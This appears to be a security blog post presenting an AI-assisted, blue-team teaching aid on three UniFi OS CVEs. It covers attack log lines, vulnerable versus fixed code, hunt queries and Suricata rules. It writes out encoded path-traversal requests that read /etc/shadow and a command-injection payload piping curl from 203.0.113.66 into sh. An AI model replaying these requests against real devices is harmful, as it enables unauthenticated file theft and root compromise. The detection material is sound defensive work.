Education

Last night I found a disturbance in the cyber force… a premise that said 3x CVEs (which the vendor scored at 10.0) were alleged to not be 3 routes… this made no sense to me, why would a vendor release 3 CVEs with the MAXIMUM Score (see my last blog) which means: someone can remotely execute code/read data (remember if you leak key materials you can then craft a way to log in so you can get execution in more than one way). So I set off on mission to try and fix the problem; someone might have said something wrong on the internet!

JARVIS suit up!

First thing is first, my RE skills are terrible, like this is one area of cyber security that I love that people do, but I find very little joy in it myself. I like Country/City/Town planning, I like hardening, I like building the lego, not making the lego (this is in the making the lego space). Remember different people bring value in different ways, my brain just likes different puzzles, a bit like IRL I don’t like scrabble or crosswords etc. Anyway enough about me, JAVIS let’s go! We are using Claude with Opus 4.8 for this activity.

We are going to download the old and the new software and then we are going to LLM assisted DIFF the systems to find changes.

DIFF Master

After some magic we have the following:

UniFi OS — SAB-064 Detection Walkthrough

A DFIR / blue-team teaching aid for the three max-severity (CVSS 10.0) UniFi OS Server vulnerabilities patched in 5.0.8 (unifi-core 5.0.153). Shows the attacker HTTP requests, how each appears in access logs, the detection logic, and the IDS signatures.
Educational / authorized use only. All hosts and IPs are RFC 5737 documentation ranges; payloads are illustrative. Use for defensive detection engineering and incident-response training on systems you own or are authorized to test.
Benign / baseline traffic Malicious request Detection / analyst note

Overview — three distinct doors, one appliance

These were publicly chained to unauthenticated root, but they are three separate weaknesses in three different sinks. 34908 and 34909 share one root cause (raw-vs-normalized URI handling) on two different routes; 34910 is independent.

CVEClass (CWE)Route / sinkPrimitiveVuln→Patched
2026-34908
CVSS 10.0
Improper Access Control (284)/proxy/<svc>/ — reverse-proxy to backend APIsReach an unauthorized API (auth checked on raw URI, routed on normalized)200 → 400
2026-34909
CVSS 10.0
Path Traversal (22)/app-assets/<svc>/<path> — static files from diskRead arbitrary files off the filesystem → account takeover200+file → 400
2026-34910
CVSS 10.0
Improper Input Validation → Cmd Injection (20/77)unifi-identity-update ucs update package nameRun arbitrary commands (name → /bin/sh -c) → root via sudoexec → validated/no-shell

From zero access to full control

The hard idea to teach: an attacker reaches full control without ever owning a valid account. Two of these bugs abuse a path traversal — a key that makes one door look like another — and the third injects a command. The part people miss: each bug, on its own, is enough to fully compromise the device — which is exactly why the vendor scored all three a maximum 10.0. Below: first the traversal mechanism, then the three independent routes to total control.

The mechanism — one URL, two interpretations

A traversal works because two pieces of code read the same request differently. The guard at the door reads the raw, encoded text; the worker inside reads the decoded path. Encode a ../ as ..%2f and you can show the guard a friendly path while the worker sees a forbidden one.

GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package
▼      ▼
nginx auth guard sees (raw bytes)
/api/auth/validate-sso/…
✓ “public path — let it through, no login”
backend router sees (after decoding %2f & ../)
/proxy/users/api/v2/ucs/update/…
✗ protected API — but auth was already skipped
That is the entire trick. Same bytes, two readings. 34908 uses it to reach a protected API; 34909 uses the identical trick on the file route (/app-assets/x/..%2f..%2fetc%2fshadow) so the guard sees “an asset” while the worker reads /etc/shadow. No password is needed to pull the file — and the file frequently contains one.

Three independent routes — each one alone is a 10.0

Why three maximum-severity scores and not one chain: each bug reaches full compromise on its own, with no precondition supplied by the others. The public PoC chained them for a tidy unauthenticated-RCE demo, but that is one route, not a requirement. Most importantly — once the file-read hands you key material, the next step is to log in, not to fire another exploit.
CVE-2026-34908Improper Access Control · /proxy/10.0 · complete on its own
0 accessauthorization check bypassedinvoke privileged admin functions directlyfull control
No credential and no second bug — you issue state-changing admin actions you were never authorized to make.
CVE-2026-34909Path Traversal · /app-assets/10.0 · complete on its own
0 accessread secret files off diskrecover a password hash / SSH key / API token / session secretlog in as that account → full control
The step the staircase diagram got wrong: after the traversal hands you key material you do not run another 10.0 — you simply authenticate with the stolen secret and walk in the front door. The file read is the compromise.
CVE-2026-34910Command Injection · ucs update10.0 · complete on its own
0 accessshell metacharacters in a package namecommands run as a service accountpassword-less sudoroot · full control
Direct code execution; the weak sudo policy (NOPASSWD dpkg/chmod) merely shortens the trip to root.
Teaching summary: these are three separate front doors to the same house — which is exactly why each scored a standalone 10.0. They can be chained (the demonstrated path is in the logs below), but none depends on another. A path traversal leads to device compromise not by magically becoming root, but because the file it reads is itself a key: you read the credential, then you log in. Defend all three — fixing only one leaves two wide open.

Detection theory — why these are visible in HTTP

34908 / 34909 require percent-encoding. The bypass only works because nginx checks auth/routing on the raw %-encoded URI but resolves the backend on the normalized path. A plain ../ normalizes identically on both layers and does not bypass — so the attacker must send encoded traversal (..%2f, .%2e, %2e%2e, or double-encoded %252e). Those tokens never appear in legitimate /proxy/ or /app-assets/ traffic, making them a low-false-positive signal.

Log the raw bytes. nginx $request / $request_uri record the verbatim encoded line. If you only log the normalized $uri, the ..%2f collapses and you instead see the resolved path (e.g. /etc/passwd). Log both and alert when the service/path they imply diverges — that divergence is the vulnerability, and it is exactly what the 5.0.8 patch added.

34910 is detected by shell metacharacters (; | & ` $( ${ && || and newline) in a package name that is otherwise [a-z0-9.+-]+.

CVE-2026-34908 — Access-control bypass (/proxy/)

CWE-284 Improper Access Controlreporter: Duc Anh Nguyen

Baseline traffic

198.51.100.10 – admin [09/Jun/2026:14:20:02 +0000] “GET /proxy/network/api/s/default/stat/health HTTP/1.1” 200 1834 “https://unifi.example.com/manage” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)”
203.0.113.66 – – [09/Jun/2026:14:22:18 +0000] “GET /proxy/users/api/v2/ucs/update/latest_package HTTP/1.1” 401 0 “-” “curl/8.7.1”

Authenticated admin = 200. A direct, unauthenticated hit on the protected endpoint is correctly rejected 401.

The attack

203.0.113.66 – – [09/Jun/2026:14:22:31 +0000] “GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package HTTP/1.1″ 200 71 “-” “curl/8.7.1”
Tells & analyst notes:
  • An auth-exempt prefix (/api/auth/validate-sso/) immediately followed by encoded ..%2f then /proxy/….
  • Status flips 401 → 200 from the same client to the same resource within seconds — the single strongest indicator.
  • No Referer, non-browser User-Agent (curl), no preceding session/login events.
  • On patched 5.0.8 the identical request returns 400.

Root cause — the code mistake

The bug: the access decision derives the target service from the raw $request_uri (still percent-encoded), but the request is actually routed using the normalized $uri. Encode the traversal and the two disagree — you authenticate as one service and get routed to another.
✗ Vulnerable — 5.0.6real: nginx map from config diff
# Service identity for the access/exemption check is taken from the RAW URI ONLY.
map $request_uri $target_runnable {           # $request_uri = verbatim, still %-encoded
    default                       '';
    ~^/proxy/([a-z]+)/(.*)$        $1;      # $1 captured from the RAW string
    ~^/app-assets/([a-z]+)/(.*)$   $1;
}
# auth layer trusts $target_runnable (raw); routing uses the NORMALIZED $uri -> they diverge
✓ Fixed — 5.0.8real: nginx map from config diffserver-block if = runtime-generated (reconstructed)
# ALSO derive the service from the NORMALIZED URI, then reject any divergence.
map $uri $target_runnable_normalized {        # $uri = %-decoded + ../ resolved
    default                          '';
    ~^/proxy/([a-z][-a-z]*)/(.*)$       $1;   # also: hyphen fix for uid-agent, talk-relay
    ~^/app-assets/([a-z][-a-z]*)/(.*)$  $1;
}
server {
    if ($target_runnable != $target_runnable_normalized) { return 400; }  # raw != normalized = traversal
}

CVE-2026-34909 — Path traversal / file read (/app-assets/)

CWE-22 Path Traversalreporter: Abdulaziz Almadhi (Catchify)

Baseline traffic

198.51.100.10 – – [09/Jun/2026:14:24:55 +0000] “GET /app-assets/network/js/app.bundle.1a2b3c.js HTTP/1.1” 200 284417 “https://unifi.example.com/manage” “Mozilla/5.0 …”

Normal asset: a real file path, large body (~278 KB), JS content-type, browser Referer.

The attack

203.0.113.66 – – [09/Jun/2026:14:25:10 +0000] “GET /app-assets/network/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1″ 200 1203 “-” “curl/8.7.1”
203.0.113.66 – – [09/Jun/2026:14:25:41 +0000] “GET /app-assets/access/..%2f..%2f..%2f..%2fetc%2fshadow HTTP/1.1″ 200 1488 “-” “python-requests/2.32.3”
Tells & analyst notes:
  • /app-assets/ + encoded ..%2f + an obvious target (etc%2fpasswd, etc%2fshadow, SSH keys, token files).
  • Size/type anomaly: 200 with a ~1 KB text/plain body where a real asset is a large .js/.css/image.
  • This is the distinct sink from 34908 — a filesystem read, not API routing. Same encoding class, different route.
  • Patched 5.0.8 → 400.

Root cause — the code mistake

The bug: the /app-assets/<svc>/<path> handler joins the user-supplied <path> onto an asset directory and reads the result without verifying it stays inside that directory. A traversal in <path> walks out to any file on disk.
✗ Vulnerable — the static-file sinkillustrative reconstruction (sink served via runtime-generated config)
// serve /app-assets/<svc>/<path> from disk
svc, rel := parseAppAssets(r.URL.Path)              // rel = "../../../../etc/shadow"
full := filepath.Join(assetRoot, svc, rel)        // Join cleans ".." -> escapes assetRoot
data, _ := os.ReadFile(full)                       // reads /etc/shadow
w.Write(data)                                       // no containment check at all
✓ Fixedreal: nginx normalization map (config diff)sink-level containment = defense-in-depth
# PRIMARY FIX (shipped): the same raw-vs-normalized nginx map as 34908 blocks the
# encoded traversal before it reaches the /app-assets handler (return 400).

// DEFENSE-IN-DEPTH the sink itself should also enforce containment:
full := filepath.Join(assetRoot, svc, rel)
if !strings.HasPrefix(filepath.Clean(full), assetRoot+"/") { http.Error(w, "forbidden", 403); return }
// or, Go 1.20+:  if !filepath.IsLocal(rel) { reject }
data, _ := os.ReadFile(full)

CVE-2026-34910 — Command injection (ucs update package name)

CWE-20/77reporter: John Carroll

Root cause — the code mistake

The bug: a package/”runnable” name from the request is interpolated with fmt.Sprintf("…%v…") straight into a shell command string and handed to /bin/sh -c. Shell metacharacters in the name (; | ` $() are then interpreted by the shell. The fix validates the name and runs the real binary with an argument vector (no shell).
✗ Vulnerable vs ✓ Fixedreal: Ghidra-decompiled from 5.0.6 & 5.0.8 (uos_pkg.go)
5.0.6 — vulnerable
// internal/pkg/utils.GetPackageVersion
f = "sudo dpkg -s %v 2>/dev/null | grep ^Version | awk '{print $2}'"
cmd = fmt.Sprintf(f, name)        // user-controlled
exec.Command("/bin/sh", "-c", cmd)   // shell!
       .CombinedOutput()
5.0.8 — fixed
// internal/pkg/utils.GetPackageVersion
if assertValidName() != ok { return err }  // validate
exec.Command("dpkg-query",            // no shell
   "-W","-f","${Version}", name)            // arg vector
       .CombinedOutput()

The attack — name in URI/query (decoded: package=foo;curl http://203.0.113.66/x|sh)

203.0.113.66 – – [09/Jun/2026:14:31:44 +0000] “POST /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/install?package=foo%3Bcurl%20http%3A%2F%2F203.0.113.66%2Fx%7Csh HTTP/1.1″ 200 0 “-” “curl/8.7.1”

The attack — name in POST body (payload NOT in default access logs)

203.0.113.66 – – [09/Jun/2026:14:31:44 +0000] “POST /proxy/users/api/v2/ucs/update/install HTTP/1.1” 200 0 “-” “curl/8.7.1”

When the package name rides in the body, the access log shows only the endpoint. Confirm on the host:

type=EXECVE ... argv[0]="/bin/sh" argv[1]="-c" argv[2]="dpkg -s foo;curl http://203.0.113.66/x|sh"  uid=ucs-update
Jun 09 14:31:45 udm sudo[20413]: ucs-update : USER=root ; COMMAND=/usr/bin/dpkg -i /tmp/x.deb
Tells & analyst notes:
  • Shell metacharacters (%3B=;, %7C=|, %60=`, %24%28=$(, %0a=newline) on a /ucs/update path. Legit package names are [a-z0-9.+-]+.
  • Often stacked on the 34908 bypass so it runs unauthenticated.
  • Confirmation is host-side: a /bin/sh -c containing a package name with ;/|, then a sudo … dpkg as ucs-update (the privesc to root).

One demonstrated path (the public PoC chain) in logs

14:22:18 GET /proxy/users/api/v2/ucs/update/latest_package 401 recon, blocked 14:22:31 GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/…/latest_package 200 34908 bypass works 14:25:10 GET /app-assets/network/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd 200 34909 file read 14:31:44 POST /api/auth/validate-sso/..%2f../proxy/…/ucs/update/install?package=foo%3B… 200 34910 inject 14:31:45 sudo: ucs-update : USER=root ; COMMAND=/usr/bin/dpkg -i /tmp/x.deb privesc -> root

Note — this is only one of several possible routes. The PoC stitched all three together, but 34909 alone could instead end at a normal /api/login using a stolen credential, and 34908 or 34910 alone is sufficient too. Correlation rule for the SOC: same src_ip producing a 401→200 transition on a /proxy/ resource and/or any ..%2f on /app-assets/ and/or shell metacharacters on /ucs/update — any one is alarm-worthy; together = active exploitation.

Retro-hunt queries

ripgrep / grep over raw access logs

# Encoded traversal on the two vulnerable route families (34908 + 34909)
rg -iN '/(proxy|app-assets)/[^ ]*((\.\.|%2e%2e|\.%2e|%2e\.|%252e)(/|%2f|%5c|%252f))' access.log

# 34909 specifically reaching sensitive files
rg -iN '/app-assets/.*(%2e%2e|\.\.).*(etc%2f|%2fshadow|%2fpasswd|id_rsa|\.key)' access.log

# 34910 - shell metacharacters on the ucs update endpoint
rg -iN '/ucs/update[^ ]*(%3b|%7c|%60|%24%28|%0a|;|\||`|\$\()' access.log

# The bypass fingerprint: auth-exempt prefix followed by encoded dot-dot into /proxy
rg -iN '/api/auth/[^ ]*(\.\.|%2e%2e)(/|%2f).*proxy/' access.log

Splunk

index=unifi sourcetype=nginx:access
| rex field=_raw "\"(?<method>\S+)\s+(?<uri>\S+)\s+HTTP"
| where match(uri,"(?i)/(proxy|app-assets)/")
    AND match(uri,"(?i)(\.\.|%2e%2e|\.%2e|%2e\.|%252e)(/|%2f|%5c|%252f)")
| stats count min(_time) as first max(_time) as last values(status) as statuses by src_ip, uri

The “divergence” detection (most robust — mirrors the patch)

# Log BOTH raw and normalized, then alert when the captured service differs:
# nginx:  log_format hunt '$remote_addr "$request" raw=$request_uri norm=$uri $status';
# rule:   svc_raw  = capture( $request_uri , ^/(proxy|app-assets)/([a-z-]+)/ )
#         svc_norm = capture( $uri         , ^/(proxy|app-assets)/([a-z-]+)/ )
#         ALERT if svc_raw != svc_norm        # encoding-agnostic, ~0 FP

IDS signatures (Suricata 6/7)

alert http any any -> $HOME_NET any (
  msg:"CVE-2026-34908 UniFi OS auth bypass - encoded traversal into /proxy";
  flow:established,to_server; http.request_line;
  content:"/proxy/"; nocase;
  pcre:"/(?:\.\.|%2e%2e|\.%2e|%2e\.|%252e)(?:\/|%2f|%5c|%252f)/i";
  classtype:web-application-attack; reference:cve,2026-34908; sid:9000801; rev:1;)

alert http any any -> $HOME_NET any (
  msg:"CVE-2026-34909 UniFi OS path traversal - encoded traversal into /app-assets (file read)";
  flow:established,to_server; http.request_line;
  content:"/app-assets/"; nocase;
  pcre:"/(?:\.\.|%2e%2e|\.%2e|%2e\.|%252e)(?:\/|%2f|%5c|%252f)/i";
  classtype:web-application-attack; reference:cve,2026-34909; sid:9000901; rev:1;)

alert http any any -> $HOME_NET any (
  msg:"CVE-2026-34910 UniFi OS command injection - shell metachars in ucs update name";
  flow:established,to_server; http.uri; content:"/ucs/update"; nocase;
  pcre:"/(?:[;|&`]|\$\(|\$\{|\|\||&&|%3b|%7c|%26|%60|%24%28|%0a|\bdpkg\b|\bsystemctl\b|\$\(IFS)/iU";
  classtype:web-application-attack; reference:cve,2026-34910; sid:9001001; rev:1;)
Tuning & truth-in-detection
  • These are detection / virtual-patch controls — the real fix is upgrading to UniFi OS Server 5.0.8 / unifi-core 5.0.153.
  • Add overlong-UTF-8 (%c0%ae) and triple-encoding variants for exhaustive coverage; the divergence check above sidesteps the encoding arms race.
  • Request/response bodies are not in default access logs — body-delivered 34910 payloads and 34909 data need body logging or host-side (auditd/sudo) correlation.

https://mr-r3b00t.github.io/eve_hunt/unifi_cve_2026_dfir.html

Summary

This is still WIP, it’s early, I need some tea, this stuff is complex! But how cool, if we validate the above it means we have taken the firmware/software and we have performed a diff, found the 3 CVEs and then created detections and educational content from them! I think that’s pretty cool! If you do run Unifi kit remember you need to patch but also check for compromise if you have had these exposed (why would you expose them in the first place! madness) and just patching if someone has got in, it’s the last step!